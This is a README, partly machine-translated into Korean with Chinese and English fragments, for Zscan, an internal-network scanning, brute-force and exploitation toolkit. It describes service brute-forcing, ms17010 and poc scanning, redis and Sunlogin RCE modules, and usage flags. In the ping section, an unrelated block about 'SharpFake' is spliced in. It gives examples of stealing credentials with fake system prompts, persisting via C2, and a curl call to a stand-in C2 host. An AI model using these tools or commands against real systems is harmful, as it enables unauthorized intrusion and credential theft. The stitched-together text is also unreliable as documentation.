
Zscan 스캔 블래스팅 도구 세트
업데이트 내용은 로그log 참조
Zscan은 오픈 소스 내부 네트워크 포트 스캐너, 무차별 대입 도구 및 기타 유틸리티 도구의 모음으로, 툴킷이라고 할 수 있습니다. 내부 네트워크 세그먼트 발견, 호스트 발견 및 포트 스캔을 기본으로 하여 blast 모듈에서 mysql, mssql, redis, mongo, postgres, ftp, ssh, ldap, rdp, smb 등의 서비스에 대한 무차별 대입 공격을 수행할 수 있습니다. scan 모듈에서는 netbios, smb, oxid, socks server(프록시 서버 스캔), ms17010, http의 poc 스캔 등의 스캔 기능을 제공하며, 기본적으로 http의 title과 핑거프린트 정보를 수집합니다. server 모듈에서는 http(파일 업로드/다운로드 가능) 및 socks5 서버(프록시 서버)를 시작할 수 있으며, tools 모듈에는 유틸리티 도구로 nc만 통합되어 있습니다. 최근 추가된 exploit 모듈은 무차별 대입 공격이 성공한 서비스를 대상으로 활용할 수 있으며, ssh 대화형 로그인(사용자 이름/비밀번호 또는 키), redis 주-복제 및 Lua 샌드박스 이스케이프(파일 업로드 및 명령 실행), ldap 쿼리(내장된 일반 쿼리 문) 등을 지원합니다. 또한 all 모듈은 스캔 시 모든 스캔 및 무차별 대입 모듈을 호출합니다. IPv6 스캔을 지원하며, 도메인 입력 및 CDN 자동 인식을 지원합니다. 각 모듈의 기능은 다음과 같습니다.
도구의 용량이 상대적으로 크며, 나중에 경량 버전이 출시될 예정입니다. 모듈식 설계로 불필요한 기능을 쉽게 분리할 수 있습니다.``` all 调用所有扫描和爆破模块 ping 主机发现和网段发现 ps 基本的端口扫描和http指纹识别title抓取 scan 扫描模块 --->ms17010扫描 --->poc漏洞扫描(内置380个poc) --->proxyfind内网代理服务器扫描 --->winscan Windows的smb,netbios和oxid扫描 blast 爆破服务模块(包括以下爆破模块) --->ftp --->ldap --->mongo --->mssql --->mysql --->postgres --->rdp --->redis --->smb --->ssh server start http server or socks5 server --->http服务器(可上传下载文件) --->socks5服务器(可启动一个代理服务器,支持身份验证) exploit 漏洞利用模块 --->ldap查询 --->redis组从复制上传文件执行命令,lua沙箱逃逸RCE --->snmp查询 --->ssh登陆 --->sunlogin向日葵RCE tools 实用工具模块 --->nc简单的nc,可以开放端口连接端口 --->searchfile支持多线程正则搜索文件
사용 형식은```
zscan 模块 参数
/___ \ /\ \ /\ \ /\ __ \ /\ "-.\ \
// / \ _ \ \ \ ___ \ \ __ \ \ \ -. \
/_\ /_\ \ ___\ \ _\ _\ \ _\"_\
// // /_____/ //// // //
Usage: zscan [command]
Available Commands: all Use all scan mode blast Common service blasting exploit sshlogin,redisexec help Help about any command ping ping scan to find computer ps Port Scan scan ms17010,proxyfind,snmp,winscan(smb,netbios,oxid),poc server start http server or socks5 server
Flags: -h, --help help for zscan --nobar disable portscan progress bar -o, --output string the path of result file (default "result.txt") --proxy string Connect with a proxy(user:[email protected]:1080 or 172.16.95.1:1080) -T, --thread thread Set thread eg:2000 (default 600) -t, --timeout time Set timeout(s) eg:5s (default 5s) -v, --verbose Show verbose information
模块里面的Flag代表当前命令的参数,Global Flags代表全局参数(所有命令都可以用)
这里的Flags为全局参数,所有模块都可以使用
- `--log`:启用这个参数会将当前运行结果以追加的形式写到log.txt(可以记下每次运行的结果)
- `-o --output`:默认在当前目录的中文件名为Hosts -o指定路径
- `--proxy` :设置代理,用户名密码(user:pass@ip:port)不需要省份验证(ip:port)
- `-T --thread`:指定线程数,默认100
- `-t --timeout`:设置延时,网络条件好追求速度的话可以设置成1s
- `-v --verbose`:设置显示扫描过程信息
## 功能模块😈
目前已有模块:
<details>
<summary><b>ping模块:普通用户权限调用系统ping,root权限可以选择使用icmp数据包</b></summary>```
zscan ping
::: details 예시 보기: 터미널 출력 1
실제 예시 1: 자격 증명 탈취 SharpFake를 사용하여 관리자 자격 증명 탈취
공격 명령 표시:
SharpFake.exe "SharpFake 正在优化您的系统性能,请稍候..." "cmd.exe /c \"whoami\""

참고: cmd.exe /c는 꺾쇠 괄호를 이스케이프 처리해야 하므로, 위 명령은 cmd /c를 통해 실행됩니다.
:::
::: details 예시 보기: 터미널 출력 2
실제 예시 2: 지속성 유지 사용자 지정 콜백 간격 및 지터 범위 SharpFake를 사용하여 30분마다(지터 포함) C2에 다시 연결하여 지속성 유지
공격 명령 표시:
SharpFake.exe "SharpFake 正在同步您的账户设置,请稍候..." "cmd /c \"ping -n 30 127.0.0.1 >nul\""

참고:
:::
::: details 예시 보기: 터미널 출력 3
실제 예시 3: 은밀한 통신 프록시 인식 통신 활성화 및 사용자 지정 User-Agent
공격 명령 표시:
SharpFake.exe "SharpFake 正在验证您的身份信息,请稍候..." "cmd /c \"curl -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' http://your-c2-server.com\""

참고:
:::``` Usage: zscan ping [flags]
Flags: -d, --discover string Live network segment found,local parameter uses the local NIC information。eg:zscan ping -d local/zscan ping -d 172.18.0.0,172.19.0.0 -h, --help help for ping -H, --host hosts Set hosts(The format is similar to Nmap) --hostfile string Set host file -i, --icmp Icmp packets are sent to check whether the host is alive(need root)
Global Flags: --nobar disable portscan progress bar -o, --output string the path of result file (default "result.txt") --proxy string Connect with a proxy(user:[email protected]:1080 or 172.16.95.1:1080) -T, --thread thread Set thread eg:2000 (default 600) -t, --timeout time Set timeout(s) eg:5s (default 5s) -v, --verbose Show verbose information
host와 hostfile 두 매개변수 중 하나를 반드시 지정해야 합니다. root 권한이 있을 때 -i를 사용하면 로컬 ping을 호출하지 않고 직접 ICMP 패킷을 보낼 수 있습니다 (스레드 수가 매우 높은 경우(수천 개) 로컬 ping 명령을 호출하면 CPU 사용률이 높아집니다)
--discover에는 두 가지 네트워크 세그먼트 발견 모드가 있습니다. 하나는 ping 네트워크 B 대역 게이트웨이, 다른 하나는 oxid 스캔입니다.
--discover 뒤에는 인수를 제공해야 합니다. local을 지정하면 (zscan ping --discover local) 로컬 네트워크 카드 정보를 읽어 로컬 네트워크 B 대역을 스캔합니다. 예를 들어 로컬에서 두 개의 네트워크 카드(192.168.13.13 및 172.16.95.23)가 감지되면 192.168.0.0/16 및 172.16.0.0/16의 두 B 대역을 ping합니다.
하나 이상의 B 대역 IP를 지정할 수도 있습니다. 예: 172.17.0.0 또는 172.18.0.0,10.10.0.0. 여러 IP 대역은 쉼표로 구분합니다.
</details>
<details>
<summary><b>ps 모듈: 포트 스캔 및 HTTP 타이틀 가져오기</b></summary>```
zscan ps
``` `````` Usage: zscan ps [flags]
Flags: -b, --banner Return banner information -h, --help help for ps -H, --host hosts Set hosts(The format is similar to Nmap) eg:192.168.1.1/24,172.16.95.1-100,127.0.0.1 --hostfile string Set host file -i, --icmp Icmp packets are sent to check whether the host is alive(need root) --noping not ping discovery before port scanning --nowebscan Whether to perform HTTP scanning (httpTitle and HTTP vulnerabilities)(default on) -p, --port port Set port eg:1-1000,3306,3389 or use " zscan ps -p l" ) to scan less port(thirty port) -s, --syn use syn scan --vulscan Whether to perform HTTP vulnerabilities(default off)